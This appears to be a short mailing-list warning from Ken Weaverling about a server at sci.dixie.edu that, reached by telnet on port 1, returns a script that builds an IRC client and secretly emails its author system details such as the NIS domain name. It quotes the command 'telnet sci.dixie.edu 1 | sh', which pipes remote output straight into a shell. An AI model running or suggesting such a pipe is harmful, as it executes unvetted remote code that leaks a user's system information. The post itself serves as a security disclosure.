telnet sci.dixie.edu 1

[weave () hopi dtcc edu (Ken Weaverling)]

If you telnet to sci.dixie.edu port 1, you get a shell script back. Obviously
this is set up to be run as

telnet sci.dixie.edu 1 | sh

The script builds an executable IRC client, real nice for the novice to
set up IRC on their own.

While that alone bothers me enough, part of the script emails the author
some *interesting* information about your system, including the
NIS domain name.
